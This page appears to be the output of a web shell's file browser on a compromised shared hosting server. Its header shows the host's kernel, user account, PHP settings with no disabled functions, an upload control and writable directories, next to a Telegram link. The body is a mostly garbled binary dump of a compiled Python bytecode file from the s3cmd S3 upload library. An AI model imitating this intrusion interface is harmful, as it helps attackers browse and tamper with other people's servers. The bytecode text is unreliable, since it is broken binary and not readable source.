https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/S3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/S3/__pycache__/MultiPart.cpython-310.pyc
o

�Qa>5�@s�ddlmZddlZddlmZmZmZmZddlm	Z	ddl
mZddlm
Z
mZmZmZddlmZmZd	ZGd
d�de�ZdS)�)�absolute_importN)�debug�info�warning�error�)�ParameterError)�S3UriS3)�getTextFromXml�getTreeFromXml�s3_quote�
parseNodes)�
formatSize�calculateChecksumic@steZdZdZdZdZdZ		ddd�Zdd	�Zd
d�Z	dd
�Z
ddd�Z		ddd�Zddd�Z
dd�Zdd�ZdS)�MultiPartUploadz<Supports MultiPartUpload and MultiPartUpload(Copy) operation�iiPNcCs�||_d|_d|_||_||_i|_|pi|_t|t�r-||_|s%t	d��|jj
jt}n
||_|jj
j
t}||_|��|_dS)Nz8Source size is missing for MultipartUploadCopy operation)�s3�file_stream�src_uri�src_size�dst_uri�parts�headers_baseline�
isinstancer	r�config�multipart_copy_chunk_size_mb�SIZE_1MB�multipart_chunk_size_mb�
chunk_size�initiate_multipart_upload�	upload_id)�selfr�srcrrr�c_size�r$�./usr/lib/python3/dist-packages/S3/MultiPart.py�__init__s 

zMultiPartUpload.__init__c	CsV|j�||�}t�}|D]}z|d|dd�|t|d�<Wqty(Yqw|S)N�ETag�Size)�checksum�size�
PartNumber)r�list_multipart�dict�int�KeyError)r!�urir �	part_listr�elemr$r$r%�get_parts_information2s��z%MultiPartUpload.get_parts_informationc	Cs�d}|j�|�}|D]5}z*|d}|d}td||��f�||��kr5|r3td|tjd|f��|}Wq
ty?Yq
w|S)N��UploadId�Keyzmp_path: %s, object: %sz�More than one UploadId for URI %s.  Disable multipart upload, or use
 %s multipart %s
to list the Ids, then pass a unique --upload-id into the put command.r)r�
get_multipartr�object�
ValueError�sys�argvr/)r!r0r �multipart_list�mpupload�mp_upload_id�mp_pathr$r$r%�get_unique_upload_idAs(����z$MultiPartUpload.get_unique_upload_idcCs�|jjjr|jjj|_n|jjjr|�|j�|_nd|_|js=|jjd|j|jddid�}|j�|�}|d}t	|d�|_|jS)z�
        Begin a multipart upload
        http://docs.amazonwebservices.com/AmazonS3/latest/API/index.html?mpUploadInitiate.html
        r4�OBJECT_POST�uploadsN�r0�headers�
uri_params�datar5)
rrr �put_continuer@r�create_requestr�send_requestr
)r!�request�responserFr$r$r%rVs

�z)MultiPartUpload.initiate_multipart_uploadr4cCsD|jstd��i}|jr|j��}n|jj}|jjjr#|�	|j
|j�}|r)d|}||j
��d�}d}|jr�|j}|j|j|j|joEd}t
d||f�|dkr�|j|d}t|j||j�}	||	8}d||dt|	d	d
�|f|d<z |jr�|j|||	||�|�d�n
|j|||	||�|�d�Wntd
||tjd|j
|jtjd|jf��|d7}|dksSt
d|d�dSt
d|�	|j�|j�}
d}t|
�}	d|dt|	d	d
�|f|d<|
s�n0z|j|||	||
|�|�d�Wntd||tjd|j
|jtjd|jf��|d7}q�t
d|d�dS)z�
        Execute a full multipart upload on a file
        Returns the seq/etag dict
        TODO use num_processes to thread it
        zAAttempting to use a multipart upload that has not been initiated.� )�source�destinationrz#MultiPart: Uploading %s in %d partsrz[part %d of %d, %s]%sz%d%sBT)�human_readable�extra)�
remote_statusz�
Upload of '%s' part %d failed. Use
  %s abortmp %s %s
to abort the upload, or
  %s --upload-id %s put ...
to continue the upload.z$MultiPart: Upload finished: %d partsNzMultiPart: Uploading from %sz[part %d of -, %s]%szw
Upload of '%s' part %d failed. Use
  %s abortmp %s %s
to abort, or
  %s --upload-id %s put ...
to continue the upload.)r rrr0r�stream_namerrrGr3rrrr�minr�upload_part�get�	copy_partrr:r;�read�len)r!�extra_label�remote_statuses�filename�labels�seq�	size_left�nr_parts�offset�current_chunk_size�bufferr$r$r%�upload_all_partsls�
��
�
�
�
��������
�
����z MultiPartUpload.upload_all_partsc
Cs td||j|f�|durZt|d�|krKt||j|||jjj�}|d�d�}||kr?t	d|j
|f�|d|j|<dSt	d|||j
|f�nt	dt|d�||j
|f�d	t|�i}	d
||jd�}
|jj
d|j
|	|
d
�}|jj||j||||d�}|d�dd��d�|j|<|S)z�
        Upload a file chunk
        http://docs.amazonwebservices.com/AmazonS3/latest/API/index.html?mpUploadUploadPart.html
        z"Uploading part %i of %r (%s bytes)Nr*r)z"'z:MultiPart: size and md5sum match for %s part %d, skipping.zJMultiPart: checksum (%s vs %s) does not match for %s part %d, reuploading.zFMultiPart: size (%d vs %d) does not match for %s part %d, reuploading.�content-length�%s��
partNumber�uploadId�
OBJECT_PUTrC)r`rrD�etagr4)rr r.rrrr�
send_chunk�striprrr�strrH�	send_filerU)
r!r]r`rr\rbrQr)�remote_checksumrD�query_string_paramsrJrKr$r$r%rT�sJ
�
���
�����zMultiPartUpload.upload_partc
Cs�td||j|f�dtd|j��|j��fddd�i}d|||df|d	<d
||jd�}|jjd|j||d
�}d|d<|j�	|||�}	t
|	dd�pPd|j|<|	S)z�
        Copy a remote file chunk
        http://docs.amazonwebservices.com/AmazonS3/latest/API/index.html?mpUploadUploadPart.html
        http://docs.amazonwebservices.com/AmazonS3/latest/API/mpUploadUploadPartCopy.html
        z Copying part %i of %r (%s bytes)zx-amz-copy-sourcez/%s/%sFT)�quote_backslashes�unicode_outputzbytes=%d-%drzx-amz-copy-source-rangererfrirCzremote copy�actionrFr'r4)rr rr�bucketr8rrHr�send_request_with_progressr
r)
r!r]r`rr\rQrDrprJrKr$r$r%rV�s2
����	���
�zMultiPartUpload.copy_partc	Cs�td|j�g}d}|j��D]
\}}|�|||f�qdd�|�}dtt|��i}|jj	d|j
||d|jid�}|j�|�}|S)	z�
        Finish a multipart upload
        http://docs.amazonwebservices.com/AmazonS3/latest/API/index.html?mpUploadComplete.html
        z MultiPart: Completing upload: %sz7<Part><PartNumber>%i</PartNumber><ETag>%s</ETag></Part>z5<CompleteMultipartUpload>%s</CompleteMultipartUpload>r4rdrArh)r0rD�bodyrE)rr r�items�append�joinrmrXrrHrrI)	r!�	parts_xml�part_xmlr]rjrvrDrJrKr$r$r%�complete_multipart_upload#s�
�z)MultiPartUpload.complete_multipart_uploadcCstd|j�d}|S)z�
        Abort multipart upload
        http://docs.amazonwebservices.com/AmazonS3/latest/API/index.html?mpUploadAbort.html
        zMultiPart: Aborting upload: %sN)rr )r!rKr$r$r%�abort_upload9szMultiPartUpload.abort_upload)NN)r4)r4N)N)�__name__�
__module__�__qualname__�__doc__�MIN_CHUNK_SIZE_MB�MAX_CHUNK_SIZE_MB�
MAX_FILE_SIZEr&r3r@rrcrTrVr|r}r$r$r$r%rs$
�
`
�
).r)�
__future__rr:�loggingrrrr�
Exceptionsr�S3Urir	�	BaseUtilsr
rrr
�Utilsrrrr8rr$r$r$r%�<module>s

https://t.me/RX1948 - 2025